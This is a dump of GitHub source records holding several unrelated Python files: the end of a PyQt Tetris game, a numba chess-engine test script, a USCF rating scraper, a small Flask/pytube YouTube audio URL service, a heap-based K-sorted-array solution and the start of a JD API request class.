400\n\n self.__initPara()\n self.__initUI()\n self.__initNet()\n self.setFocusPolicy(Qt.StrongFocus)\n\n # 初始化参数\n def __initPara(self):\n self.__score = 0\n self.__level = 0\n self.__timer = QBasicTimer()\n self.__FACTOR = 4 / 5\n self.__FACTOR_SCREEN = 0.6\n self.__canvas_w = self.geometry().width() * self.__FACTOR\n self.__canvas_h = self.geometry().height()\n self.__szy = int(self.__canvas_h / self.__num_y)\n self.__szx = int(self.__canvas_w / self.__num_x)\n self.__gameOverFlag = False\n self.__net = []\n\n self.__mshape = Shape()\n self.__block = Block(1, 1, self.__mshape.name[random.randint(0, self.__mshape.num - 1)], self.__mshape,\n self.__mshape.color[random.randint(0, self.__mshape.num_col - 1)])\n\n # 初始化网格列表\n def __initNet(self):\n self.__net = [[0 for j in range(self.__num_x - 1)] for j in range(self.__num_y - 1)]\n\n # 初始化界面\n def __initUI(self):\n hb1 = QHBoxLayout()\n score_info_la = QLabel('Score: ')\n self.__score_la = QLabel('0')\n hb1.addWidget(score_info_la)\n hb1.addWidget(self.__score_la)\n hb1.addStretch(1)\n\n hb2 = QHBoxLayout()\n level_info_la = QLabel('Level: ')\n self.__level_la = QLabel('0')\n hb2.addWidget(level_info_la)\n hb2.addWidget(self.__level_la)\n hb2.addStretch(1)\n\n self.__speed_la = QLabel()\n self.__speed_la.setText(str((1010 - self.__time_step) / 10))\n self.__speed_label = QLabel('Speed:')\n self.__sd_slider = QSlider()\n self.__sd_slider.setOrientation(Qt.Horizontal)\n self.__sd_slider.setMaximum(1)\n self.__sd_slider.setMaximum(100)\n self.__sd_slider.setValue(int((1010 - self.__time_step) / 10))\n self.__sd_slider.valueChanged.connect(self.__LineEdt)\n\n hb3 = QHBoxLayout()\n hb3.addWidget(self.__speed_label)\n hb3.addWidget(self.__speed_la)\n hb2.addStretch(1)\n\n x_num_la = QLabel('X number:')\n self.__x_num_la_show = QLabel()\n self.__x_num_la_show.setText(str(self.__num_x - 1))\n hb12 = QHBoxLayout()\n hb12.addWidget(x_num_la)\n hb12.addWidget(self.__x_num_la_show)\n hb12.addStretch(1)\n\n self.__x_num_sl = QSlider(Qt.Horizontal, self)\n self.__x_num_sl.setMaximum(100)\n self.__x_num_sl.setMinimum(1)\n self.__x_num_sl.setValue(self.__num_x - 1)\n self.__x_num_sl.valueChanged.connect(self.__setXNum)\n\n y_num_la = QLabel('Y number:')\n self.__y_num_la_show = QLabel()\n self.__y_num_la_show.setText(str(self.__num_y - 1))\n hb13 = QHBoxLayout()\n hb13.addWidget(y_num_la)\n hb13.addWidget(self.__y_num_la_show)\n hb13.addStretch(1)\n\n self.__y_num_sl = QSlider(Qt.Horizontal, self)\n self.__y_num_sl.setMinimum(1)\n self.__y_num_sl.setMaximum(100)\n self.__y_num_sl.setValue(self.__num_y - 1)\n self.__y_num_sl.valueChanged.connect(self.__setYNum)\n\n self.__st_btn = QPushButton('Start')\n self.__st_btn.setEnabled(True)\n hb7 = QHBoxLayout()\n hb7.addWidget(self.__st_btn)\n hb7.addStretch(1)\n\n self.__stop_btn = QPushButton('Stop')\n self.__stop_btn.setEnabled(True)\n hb8 = QHBoxLayout()\n hb8.addWidget(self.__stop_btn)\n hb8.addStretch(1)\n\n self.__pause_btn = QPushButton('Pause')\n self.__pause_btn.setEnabled(True)\n hb9 = QHBoxLayout()\n hb9.addWidget(self.__pause_btn)\n hb9.addStretch(1)\n\n self.__new_btn = QPushButton('New Game')\n self.__new_btn.setEnabled(True)\n hb10 = QHBoxLayout()\n hb10.addWidget(self.__new_btn)\n hb10.addStretch(1)\n\n self.__exit_btn = QPushButton('Exit')\n self.__exit_btn.setEnabled(True)\n hb11 = QHBoxLayout()\n hb11.addWidget(self.__exit_btn)\n hb11.addStretch(1)\n\n self.__new_btn.clicked.connect(self.__newGameBtnAction)\n self.__st_btn.clicked.connect(self.__stBtnAction)\n self.__stop_btn.clicked.connect(self.__stopBtnAction)\n self.__pause_btn.clicked.connect(self.__pauseBtnAction)\n self.__exit_btn.clicked.connect(self.close)\n\n self.__lcd = QLCDNumber()\n self.__lcd.setMinimumSize(100, 100)\n hb4 = QHBoxLayout()\n hb4.addWidget(self.__lcd)\n hb4.addStretch(1)\n\n vb = QVBoxLayout()\n vb.addLayout(hb1)\n vb.addLayout(hb2)\n vb.addLayout(hb4)\n vb.addStretch(1)\n vb.addLayout(hb3)\n vb.addWidget(self.__sd_slider)\n vb.addLayout(hb7)\n vb.addLayout(hb8)\n vb.addLayout(hb9)\n vb.addStretch(1)\n vb.addLayout(hb12)\n vb.addWidget(self.__x_num_sl)\n vb.addLayout(hb13)\n vb.addWidget(self.__y_num_sl)\n vb.addLayout(hb10)\n vb.addStretch(10)\n vb.addLayout(hb11)\n\n hb5 = QHBoxLayout()\n hb5.addStretch(1)\n hb5.addLayout(vb)\n\n self.setLayout(hb5)\n screen = QDesktopWidget().screenGeometry()\n width = screen.width() * self.__FACTOR_SCREEN\n height = screen.height() * self.__FACTOR_SCREEN\n x0 = screen.width() * (1 - self.__FACTOR_SCREEN) / 2\n y0 = screen.height() * (1 - self.__FACTOR_SCREEN) / 2\n\n self.setGeometry(x0, y0, width, height)\n self.__canva_w = self.geometry().width() * self.__FACTOR\n self.__canva_h = self.geometry().height()\n self.__szx = int(self.__canva_w / self.__num_x)\n self.__szy = int(self.__canva_h / self.__num_y)\n\n self.setWindowTitle(\"Russian Block\")\n self.setWindowIcon(QIcon('example.png'))\n self.show()\n\n # 绘制网格\n def __drawNetGrid(self, qp):\n pen = QPen(Qt.lightGray, 1, Qt.DashLine)\n qp.setPen(pen)\n for i in range(self.__num_y):\n qp.drawLine(int(self.__szx / 2), int(i * self.__szy + self.__szy / 2),\n int(self.__num_x * self.__szx - self.__szx / 2), int(i * self.__szy + self.__szy / 2))\n for i in range(self.__num_x):\n qp.drawLine(int(i * self.__szx + self.__szx / 2), int(self.__szy / 2),\n int(i * self.__szx + self.__szx / 2),\n int(self.__num_y * self.__szy - self.__szy / 2))\n\n # 提示Game Over\n def __gameOver(self, qp, x, y):\n pen = QPen(Qt.red)\n qp.setPen(pen)\n qp.setFont(QFont('Blackoak Std', 20))\n qp.drawText(x, y, self.__canva_w / 2, self.__canva_h / 2, True, 'Game Over!')\n\n # 类的自调用painter绘制函数\n def paintEvent(self, e):\n self.__canvas_w = self.geometry().width() * self.__FACTOR\n self.__canvas_h = self.geometry().height()\n self.__szx = int(self.__canvas_w / self.__num_x)\n self.__szy = int(self.__canvas_h / self.__num_y)\n\n qp = QPainter()\n qp.begin(self)\n self.__drawNetGrid(qp) # 绘制网格\n # 绘制形状\n for i, eles in enumerate(self.__net):\n for j, ele in enumerate(eles):\n if not ele == 0:\n self.__drawRect(qp, j + 1, i + 1, self.__szx, self.__szy, ele)\n if self.__timer.isActive():\n self.__drawBlock(qp, self.__block, self.__szx, self.__szy)\n\n # game over\n if self.__gameOverFlag:\n self.__gameOverFlag = False\n self.__gameOver(qp, self.__canva_w / 4, self.__canva_h / 2)\n qp.end()\n\n # timer\n def timerEvent(self, e):\n if self.__isNextPosEmpty(self.__block, 0, 1):\n self.__moveBlock(0, 1)\n else:\n self.__refreshFullNet(self.__block)\n for k, ele in enumerate(self.__net):\n if 0 not in ele:\n self.__score += 1\n self.__level += int(self.__score / 10)\n self.__update_score()\n self.__update_level()\n for i in range(k):\n self.__net[k - i] = self.__net[k - 1 - i]\n self.__net[0] = [0 for i in range(self.__num_x - 1)]\n\n # 游戏结束\n if sum([1 for ele in self.__net[0] if not ele == 0]) > 0:\n self.stop()\n self.__st_btn.setEnabled(False)\n self.__pause_btn.setEnabled(False)\n self.__stop_btn.setEnabled(False)\n self.__gameOverFlag = True\n else:\n self.__block = self.__generateRandomBlock()\n self.update()\n\n # 键盘按键事件\n def keyPressEvent(self, e):\n key = e.key()\n x, y = self.__block.getXY()\n if key == Qt.Key_Left:\n if (x > 1) & self.__isNextPosEmpty(self.__block, -1, 0):\n self.__block.setXY(x - 1, y)\n elif key == Qt.Key_Right:\n if self.__isNextPosEmpty(self.__block, +1, 0):\n self.__block.setXY(x + 1, y)\n elif key == Qt.Key_Down:\n if self.__isNextPosEmpty(self.__block, 0, 2):\n self.__block.setXY(x, y + 2)\n elif key == Qt.Key_Up:\n block = Block(self.__block.getXY()[0], self.__block.getXY()[1], self.__block.getShape(), self.__mshape,\n self.__block.getColor())\n block.rota90()\n if (block.getDownBoun() > self.__num_y - 1) | (block.getLeftBoun() < 1) | (\n block.getRightBoun() > self.__num_x - 1):\n pass\n else:\n self.__block.rota90()\n elif key == Qt.Key_P:\n if self.__timer.isActive():\n self.stop()\n else:\n self.start()\n self.update()\n\n # 窗口大小改变自动调用事件\n def resizeEvent(self, e):\n self.update()\n\n # 判占位列表是否空\n def __isNextPosEmpty(self, block, step_x, step_y):\n bot = block.getDownBoun()\n right = block.getRightBoun()\n if ((bot + step_y) > self.__num_y - 1) | ((step_x > 0) & ((right + step_x) > self.__num_x - 1)):\n return False\n pos = block.getPos()\n for p in pos:\n if p[1] < 1:\n pass\n elif not self.__net[p[1] - 1 + step_y][p[0] - 1 + step_x] == 0:\n return False\n return True\n\n # 更新占位列表\n def __refreshFullNet(self, block):\n for pos in block.getPos():\n if (pos[0] < 1) | (pos[1] < 1) | (pos[0] > self.__num_x - 1) | (pos[1] > self.__num_y - 1):\n pass\n self.__net[pos[1] - 1][pos[0] - 1] = block.getColor()\n\n # 生成一个随机对象\n def __generateRandomBlock(self):\n num_sha = random.randint(0, self.__mshape.num - 1)\n sha = self.__mshape.name[num_sha]\n num_col = random.randint(0, self.__mshape.num_col - 1)\n color = self.__mshape.color[num_col]\n\n x = random.randint(1, self.__num_x)\n block = Block(x, 1, sha, self.__mshape, color)\n while block.getRightBoun() > (self.__num_x - 1):\n x = random.randint(1, self.__num_x)\n block = Block(x, 1, sha, self.__mshape, color)\n return block\n\n # 绘制方块\n def __drawRect(self, qp, x, y, szx, szy, color):\n x_loca = x * szx - szx / 2\n y_loca = y * szy - szy / 2\n # Brush\n brush = QBrush(color)\n brush.setStyle(Qt.SolidPattern)\n qp.setBrush(brush)\n qp.drawRect(x_loca, y_loca, szx, szy)\n # Pen\n pen = QPen(Qt.darkBlue, 2, Qt.SolidLine)\n qp.setPen(pen)\n qp.drawRect(x_loca, y_loca, szx, szy)\n\n # 绘制特定形状\n def __drawBlock(self, qp, block, szx, szy):\n color = block.getColor()\n pos = block.getPos()\n x1 = pos[0][0]\n y1 = pos[0][1]\n x2 = pos[1][0]\n y2 = pos[1][1]\n x3 = pos[2][0]\n y3 = pos[2][1]\n x4 = pos[3][0]\n y4 = pos[3][1]\n self.__drawRect(qp, x1, y1, szx, szy, color)\n self.__drawRect(qp, x2, y2, szx, szy, color)\n self.__drawRect(qp, x3, y3, szx, szy, color)\n self.__drawRect(qp, x4, y4, szx, szy, color)\n\n # 移动\n def __moveBlock(self, speed_x, speed_y):\n self.__block.setXY(self.__block.getXY()[0] + speed_x, self.__block.getXY()[1] + speed_y)\n\n # 更新成绩\n def __update_score(self):\n self.__score_la.setText(str(self.__score))\n self.__lcd.display(str(self.__score))\n\n # 更新等级\n def __update_level(self):\n self.__level_la.setText(str(self.__level))\n\n # 滑动条事件\n def __LineEdt(self):\n self.__speed_la.setText(str(self.__sd_slider.value()))\n self.__time_step = 1010 - self.__sd_slider.value() * 10\n if self.__stop_btn.isEnabled() & self.__pause_btn.isEnabled():\n self.start()\n\n # 设置Xnum\n def __setXNum(self):\n self.stop()\n self.__st_btn.setEnabled(False)\n self.__stop_btn.setEnabled(False)\n self.__pause_btn.setEnabled(False)\n\n self.__x_num_la_show.setText(str(self.__x_num_sl.value()))\n self.__num_x = self.__x_num_sl.value()\n\n # 设置Y Num\n def __setYNum(self):\n self.stop()\n self.__st_btn.setEnabled(False)\n self.__stop_btn.setEnabled(False)\n self.__pause_btn.setEnabled(False)\n\n self.__y_num_la_show.setText(str(self.__y_num_sl.value()))\n self.__num_y = self.__y_num_sl.value()\n\n # 开始按钮事件\n def __stBtnAction(self):\n if self.__timer.isActive():\n pass\n else:\n self.__st_btn.setEnabled(False)\n self.__stop_btn.setEnabled(True)\n self.__pause_btn.setEnabled(True)\n self.__timer.start(self.__time_step, self)\n\n # 停止按钮事件\n def __stopBtnAction(self):\n if self.__timer.isActive():\n self.__timer.stop()\n self.__st_btn.setEnabled(False)\n self.__pause_btn.setEnabled(False)\n self.__stop_btn.setEnabled(False)\n self.__timer.stop()\n\n # 暂停按钮事件\n def __pauseBtnAction(self):\n if self.__timer.isActive():\n self.__timer.stop()\n self.__st_btn.setEnabled(True)\n self.__pause_btn.setEnabled(False)\n self.__stop_btn.setEnabled(True)\n\n # 新游戏按钮事件\n def __newGameBtnAction(self):\n if self.__timer.isActive():\n self.stop()\n self.__initPara()\n self.__initNet()\n self.__st_btn.setEnabled(True)\n self.__pause_btn.setEnabled(True)\n self.__stop_btn.setEnabled(True)\n self.update()\n self.start()\n\n # 启动时间循环时间\n def start(self):\n self.__timer.start(self.__time_step, self)\n\n # 停止计时器\n def stop(self):\n self.__timer.stop()\n\n\n# 对象类\nclass Block:\n def __init__(self, x, y, shape, mshape, color):\n self.__x = x\n self.__y = y\n self.__color = color\n self.__shape = shape\n self.__sha = mshape\n\n # 返回四个块的中心坐标\n def getPos(self):\n x1 = x2 = x3 = x4 = self.__x\n y1 = y2 = y3 = y4 = self.__y\n if self.__shape[0] == self.__sha.hL[0]:\n x2 = x1 + 1\n x3 = x2 + 1\n x4 = x3 + 1\n elif self.__shape[0] == self.__sha.vL[0]:\n y2 = y1 + 1\n y3 = y2 + 1\n y4 = y3 + 1\n elif self.__shape[0] == self.__sha.S[0]:\n y2 = y1 + 1\n x3 = x1 + 1\n x4 = x3\n y4 = y2\n elif self.__shape[0] == self.__sha.lZ[0]:\n x2 = x1 + 1\n x3 = x2\n y3 = y2 + 1\n x4 = x3 + 1\n y4 = y3\n elif self.__shape[0] == self.__sha.ruZ[0]:\n y2 = y1 + 1\n x3 = x1 + 1\n y3 = y1 - 1\n x4 = x1 + 1\n elif self.__shape[0] == self.__sha.luZ[0]:\n y2 = y1 + 1\n x3 = x1 + 1\n y3 = y2\n x4 = x3\n y4 = y3 + 1\n elif self.__shape[0] == self.__sha.rZ[0]:\n x2 = x1 + 1\n y2 = y1 - 1\n x3 = x2\n y3 = y2 + 1\n x4 = x3 + 1\n y4 = y2\n elif self.__shape[0] == self.__sha.lvuF[0]:\n x2 = x1 + 1\n x3 = x4 = x2\n y3 = y2 + 1\n y4 = y3 + 1\n elif self.__shape[0] == self.__sha.rvuF[0]:\n x2 = x1 + 1\n y3 = y2 + 1\n y4 = y3 + 1\n elif self.__shape[0] == self.__sha.lhdF[0]:\n y2 = y1 + 1\n x3 = x1 + 1\n x4 = x3 + 1\n elif self.__shape[0] == self.__sha.rhdF[0]:\n x2 = x1 + 1\n x3 = x2 + 1\n x4 = x3\n y4 = y3 + 1\n elif self.__shape[0] == self.__sha.rvdF[0]:\n y2 = y1 + 1\n y3 = y2 + 1\n x4 = x3 + 1\n y4 = y3\n elif self.__shape[0] == self.__sha.lvdF[0]:\n x2 = x1 + 1\n y2 = y1 - 2\n x3 = x4 = x2\n y3 = y1 - 1\n y4 = y1\n elif self.__shape[0] == self.__sha.rhuF[0]:\n x2 = x1 + 1\n x3 = x2 + 1\n x4 = x3\n y4 = y3 - 1\n elif self.__shape[0] == self.__sha.lhuF[0]:\n y2 = y1 + 1\n x3 = x2 + 1\n x4 = x3 + 1\n y3 = y4 = y2\n elif self.__shape[0] == self.__sha.uW[0]:\n x2 = x1 + 1\n x3 = x2\n x4 = x3 + 1\n y2 = y1 - 1\n elif self.__shape[0] == self.__sha.dW[0]:\n x2 = x1 + 1\n x3 = x2\n x4 = x3 + 1\n y3 = y2 + 1\n elif self.__shape[0] == self.__sha.lW[0]:\n x2 = x1 + 1\n x4 = x3 = x2\n y2 = y1 - 1\n y3 = y2 + 1\n y4 = y3 + 1\n elif self.__shape[0] == self.__sha.rW[0]:\n y2 = y1 + 1\n y3 = y2 + 1\n y4 = y2\n x4 = x1 + 1\n return [(x1, y1), (x2, y2), (x3, y3), (x4, y4)]\n\n # 返回边界\n def getLeftBoun(self):\n return self.__x - self.__shape[1]\n\n def getRightBoun(self):\n return self.__x + self.__shape[2]\n\n def getTopBoun(self):\n return self.__y - self.__shape[3]\n\n def getDownBoun(self):\n return self.__y + self.__shape[4]\n\n # 返回形状\n def getShape(self):\n return self.__shape\n\n # 返回颜色\n def getColor(self):\n return self.__color\n\n # 设置颜色\n def setColor(self, color):\n self.__color = color\n\n # 设置形状\n def setShape(self, shape):\n self.__shape = shape\n\n # 设置坐标\n def setXY(self, x, y):\n self.__x = x\n self.__y = y\n\n # 返回坐标\n def getXY(self):\n return [self.__x, self.__y]\n\n # 移动坐标\n def __movePos(self, step_x, step_y):\n self.setXY(self.__x + step_x, self.__y + step_y)\n\n # 旋转90度\n def rota90(self):\n # type1\n if self.__shape[-1] == self.__sha.type1:\n if self.__shape[0] == self.__sha.vL[0]:\n self.setShape(self.__sha.hL)\n self.__movePos(-1, 1)\n elif self.__shape[0] == self.__sha.hL[0]:\n self.setShape(self.__sha.vL)\n self.__movePos(1, -1)\n # type2\n elif self.__shape[-1] == self.__sha.type2:\n pass\n # type3\n elif self.__shape[-1] == self.__sha.type3:\n if self.__shape[0] == self.__sha.lZ[0]:\n self.setShape(self.__sha.ruZ)\n elif self.__shape[0] == self.__sha.rZ[0]:\n self.setShape(self.__sha.luZ)\n self.__movePos(0, -1)\n elif self.__shape[0] == self.__sha.luZ[0]:\n self.setShape(self.__sha.rZ)\n self.__movePos(-1, 1)\n elif self.__shape[0] == self.__sha.ruZ[0]:\n self.setShape(self.__sha.lZ)\n self.__movePos(0, -1)\n # type4\n elif self.__shape[-1] == self.__sha.type4:\n if self.__shape[0] == self.__sha.lvuF[0]:\n self.setShape(self.__sha.rhuF)\n self.__movePos(0, 1)\n elif self.__shape[0] == self.__sha.lvdF[0]:\n self.setShape(self.__sha.lhuF)\n self.__movePos(0, -2)\n elif self.__shape[0] == self.__sha.rvuF[0]:\n self.setShape(self.__sha.rhdF)\n self.__movePos(-1, 1)\n elif self.__shape[0] == self.__sha.rvdF[0]:\n self.setShape(self.__sha.lhdF)\n self.__movePos(-1, 1)\n elif self.__shape[0] == self.__sha.lhuF[0]:\n self.setShape(self.__sha.rvuF)\n self.__movePos(1, 0)\n elif self.__shape[0] == self.__sha.lhdF[0]:\n self.setShape(self.__sha.lvuF)\n self.__movePos(0, -1)\n elif self.__shape[0] == self.__sha.rhuF[0]:\n self.setShape(self.__sha.rvdF)\n self.__movePos(1, -1)\n elif self.__shape[0] == self.__sha.rhdF[0]:\n self.setShape(self.__sha.lvdF)\n self.__movePos(0, 1)\n # type5\n elif self.__shape[-1] == self.__sha.type5:\n if self.__shape[0] == self.__sha.uW[0]:\n self.setShape(self.__sha.rW)\n self.__movePos(1, -1)\n elif self.__shape[0] == self.__sha.dW[0]:\n self.setShape(self.__sha.lW)\n elif self.__shape[0] == self.__sha.lW[0]:\n self.setShape(self.__sha.uW)\n elif self.__shape[0] == self.__sha.rW[0]:\n self.setShape(self.__sha.dW)\n self.__movePos(-1, +1)\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n game = Game()\n sys.exit(app.exec_())\n","repo_name":"yooongchun/Python_Tetris","sub_path":"Tetris.py","file_name":"Tetris.py","file_ext":"py","file_size_in_byte":24366,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"9353130229","text":"import os\nfrom timeit import default_timer as timer\nimport numba as nb\nfrom numba.experimental import jitclass\n\nimport Board\nimport Game\nfrom moves import getMoveDict\nimport functions as fn\nfrom functions import printInfo, printDebug, printError\n\n#os.environ[\"NUMBA_DISABLE_JIT\"] = \"1\"\n\n@nb.njit(cache = True)\ndef settings() -> (nb.int64, nb.boolean, nb.boolean, nb.int64):\n nGames = 1\n noOutputMode = False\n coloredOutput = True #False\n searchDepth = 500\n\n return nGames, noOutputMode, coloredOutput, searchDepth\n\n\n@nb.njit(cache = True)\ndef playAllGames():\n nGames, noOutputMode, coloredOutput, searchDepth = settings()\n\n for gameNum in range(nGames):\n play(gameNum, noOutputMode, coloredOutput, searchDepth)\n\n\n@nb.njit(cache = True)\ndef play(gameNumber, noOutputMode, coloredOutput, searchDepth):\n mD = getMoveDict()\n\n boardInfo = Board.BoardInfo(noOutputMode, coloredOutput)\n chessBoard = Board.ChessBoard(boardInfo)\n pieceBoards = Board.PieceBoards(boardInfo)\n boardManager = Board.BoardManager(boardInfo, chessBoard, pieceBoards, mD)\n gameManager = Game.GameManager(boardManager, noOutputMode, coloredOutput)\n\n finishedInOne = 0\n firstMoveID = -1\n\n initialPlyNumber = gameManager.PlyNumber\n initialPlayer = boardInfo.CurrentPlayer\n initialOpponent = boardInfo.CurrentOpponent\n printInfo(noOutputMode, \"initialPlyNumber, initialPlayer, initialOpponent =\", str(initialPlyNumber), initialPlayer, initialOpponent)\n\n ### Playing the game\n while not gameManager.Finished:\n if coloredOutput:\n printInfo(noOutputMode, \"\\nGame number \" + str(gameNumber) + \": \\033[1;31;48m###### Ply \", str(gameManager.PlyNumber), \" (player:\", boardInfo.CurrentPlayer + \") ######\\033[1;37;48m\") \n else:\n printInfo(noOutputMode, \"\\nGame number \" + str(gameNumber) + \": ###### Ply \", str(gameManager.PlyNumber), \" (player:\", boardInfo.CurrentPlayer + \") ######\")\n\n moveID, moveEval = gameManager.nextMove()\n\n if gameManager.PlyNumber == initialPlyNumber:\n finishedInOne = gameManager.Finished\n firstMoveID = moveID\n\n if gameManager.PlyNumber >= searchDepth:\n gameManager.Winner = \"draw\"\n printInfo(noOutputMode, \"Game number \" + str(gameNumber), \": INFO: Anticipated search depth= \", str(searchDepth),\" reached. Get Evaluation ...\")\n break\n else:\n gameManager.increasePlyNumber()\n\n outputVal = fn.getOutputVal(gameNumber, gameManager.PlyNumber, initialPlayer, initialOpponent, gameManager.Winner, coloredOutput, noOutputMode)\n\n print(\"gameManager.Winner, gameManager.PlyNumber, firstMoveID, outputVal, finishedInOne =\", gameManager.Winner, gameManager.PlyNumber, firstMoveID, outputVal, finishedInOne)\n\n\n \nif __name__ == \"__main__\":\n start_time = timer()\n playAllGames()\n print(timer() - start_time, \"seconds\")\n\n\n","repo_name":"tobiasKlingl/ChessNeuralNetwork","sub_path":"PlayingCode_1_6/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"29753686728","text":"from bs4 import BeautifulSoup\nimport urllib.request\nimport requests\nimport pandas as pd\nfrom requests_html import HTMLSession\nimport math\nimport os\nimport sys \n\ndef get_data(PLAYER_URL, page):\n url = PLAYER_URL + '.' + str(page)\n with urllib.request.urlopen(url) as response:\n html = response.read()\n scrape = BeautifulSoup(html, \"html.parser\")\n return scrape.findAll('tr', bgcolor=['FFFF80', 'FFFFC0'])[1:]\n\n\ndef getting_tournament_data(tournament):\n date = [word for word in tournament.find('td', width='120').stripped_strings][0]\n ratings = [text for text in tournament.find('td', width='160').stripped_strings]\n name = tournament.find('td', width='350').a.getText()\n before = ''\n after = ''\n if(len(ratings) == 2):\n before = ratings[0][:-3]\n after = ratings[1]\n DATE_RATING = {\n 'date' : date,\n 'brating': before,\n 'arating' : after\n }\n print(DATE_RATING)\n return DATE_RATING\n\ndef main():\n BASE_URL = 'http://www.uschess.org/msa/MbrDtlTnmtHst.php?'\n\n PLAYER_ID = input(\"Enter your USCF ID: \")\n PLAYER_URL = BASE_URL + PLAYER_ID\n\n NUM_TOURNEYS = int(input(\"Enter the number of tournaments you played: \"))\n MAX_PAGE = math.ceil(NUM_TOURNEYS / 50) + 1\n\n\n TOURNAMENTS = []\n for page in range(1, MAX_PAGE):\n page_data = get_data(PLAYER_URL, page)\n for tourney in page_data:\n TOURNAMENTS.append(getting_tournament_data(tourney))\n \n DATA_FILE = PLAYER_ID + \".csv\"\n data = open(DATA_FILE, 'w')\n data.write('Date' + ',' + 'Rating' + '\\n')\n for t in range(0, len(TOURNAMENTS)):\n data.write(TOURNAMENTS[t]['date'] + ',' + TOURNAMENTS[t]['arating'] + '\\n')\n \n os.rename(DATA_FILE, \"data/\" + DATA_FILE)\n NEW_DATA_FILE = \"data/\" + DATA_FILE\n print(\"YES\")\n print(\"data/\" + str(PLAYER_ID) + \".csv\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"karthikb19/ChessRatingPrediction","sub_path":"getting_data.py","file_name":"getting_data.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"37280981922","text":"from flask import Flask\r\nfrom pytube import YouTube\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route(\"/\")\r\ndef index():\r\n return \"Hello\"\r\n\r\n@app.route(\"/\")\r\ndef id(i):\r\n you = YouTube(\"https://www.youtube.com/watch?v=\"+i)\r\n return you.streams.get_audio_only().url\r\n\r\nif __name__==\"__main__\":\r\n app.run(debug=True)","repo_name":"YashGoswamiGOAT/musify","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"271313452","text":"\"\"\"\r\n Sort K-Sorted Array\r\n Write a function that takes in a non-negative integer k and a k-sorted array of integers and returns the sorted version of\r\n the array. Your function can either sort the array in place or create an entirely new array.\r\n A k-sorted array is a partially sorted array in which all elements are at most k positions away from their sorted position.\r\n\r\n For example, the array [3, 1, 2, 2] is k-sorted with k = 3 , because each element in the array is at most 3\r\n positions away from its sorted position.\r\n\r\n Note that you're expected to come up with an algorithm that can sort the k-sorted array faster than in O(nlog(n)) time.\r\n\r\n Sample Input\r\n array = [3, 2, 1, 5, 4, 7, 6, 5]\r\n k = 3\r\n\r\n Sample Output\r\n [1, 2, 3, 4, 5, 5, 6, 7]\r\n\r\n\"\"\"\r\n\r\n# SOLUTION 1\r\n\r\n# O(nlog(k)) tine | o(k) space - where n is the number\r\n# of elements in the array and k is how far away elements\r\n# are from their sorted position\r\ndef sortKSortedArray(array, k):\r\n minHeapWithKElements = MinHeap(array[: min(k + 1, len(array))])\r\n nextIndexToInsertElement = 0\r\n\r\n for idx in range(k + 1, len(array)):\r\n minElement = minHeapWithKElements.remove()\r\n array[nextIndexToInsertElement] = minElement\r\n nextIndexToInsertElement += 1\r\n\r\n currentElement = array[idx]\r\n minHeapWithKElements.insert(currentElement)\r\n\r\n while not minHeapWithKElements.isEmpty():\r\n minElement = minHeapWithKElements.remove()\r\n array[nextIndexToInsertElement] = minElement\r\n nextIndexToInsertElement += 1\r\n\r\n return array\r\n\r\n\r\nclass MinHeap:\r\n def __init__(self, array):\r\n self.heap = self.buildHeap(array)\r\n\r\n def isEmpty(self):\r\n return len(self.heap) == 0\r\n\r\n def buildHeap(self, array):\r\n firstParentIdx = (len(array) - 2) // 2\r\n for currentIdx in reversed(range(firstParentIdx + 1)):\r\n self.siftDown(currentIdx, len(array) - 1, array)\r\n return array\r\n\r\n def siftDown(self, currentIdx, endIdx, heap):\r\n childoneIdx = currentIdx * 2 + 1\r\n\r\n while childoneIdx <= endIdx:\r\n childTwoIdx = currentIdx * 2 + 2 if currentIdx * 2 + 2 <= endIdx else -1\r\n if childTwoIdx != -1 and heap[childTwoIdx] < heap[childoneIdx]:\r\n idxToSwap = childTwoIdx\r\n else:\r\n idxToSwap = childoneIdx\r\n if heap[idxToSwap] < heap[currentIdx]:\r\n self.swap(currentIdx, idxToSwap, heap)\r\n currentIdx = idxToSwap\r\n childoneIdx = currentIdx * 2 + 1\r\n else:\r\n return\r\n\r\n def siftUp(self, currentIdx, heap):\r\n parentIdx = (currentIdx - 1) // 2\r\n while currentIdx > 0 and heap[currentIdx] < heap[parentIdx]:\r\n self.swap(currentIdx, parentIdx, heap)\r\n currentIdx = parentIdx\r\n parentIdx = (currentIdx - 1) // 2\r\n\r\n def peek(self):\r\n return self.heap[0]\r\n\r\n def remove(self):\r\n self.swap(0, len(self.heap) - 1, self.heap)\r\n valueToRemove = self.heap.pop()\r\n self.siftDown(0, len(self.heap) - 1, self.heap)\r\n return valueToRemove\r\n\r\n def insert(self, value):\r\n self.heap.append(value)\r\n self.siftUp(len(self.heap) - 1, self.heap)\r\n\r\n def swap(self, i, j, heap):\r\n heap[i], heap[j] = heap[j], heap[i]","repo_name":"Hopertz/CodingInterviewPrep","sub_path":"Sort K-Sorted Array.py","file_name":"Sort K-Sorted Array.py","file_ext":"py","file_size_in_byte":3366,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"11"} +{"seq_id":"34718783641","text":"from jd.api.base import RestApi\n\nclass ScfInvoiceDailybillQueryDailyBillListRequest(RestApi):\n\t\tdef __init__(self,domain='gw.api.360buy.com',port=80):\n\t\t\t\"\"\"\n\t\t\t\"\"\"\n\t\t\tRestApi.__init__(self,domain, port)\n\t\t\tself.applyId = None\n\t\t\tself.rfBillType = None\n\t\t\tself.endDate = None\n\t\t\tself.beginDate = None\n\t\t\tself.pageNum = None\n\n\t\tdef getapiname(self):\n\t\t\treturn 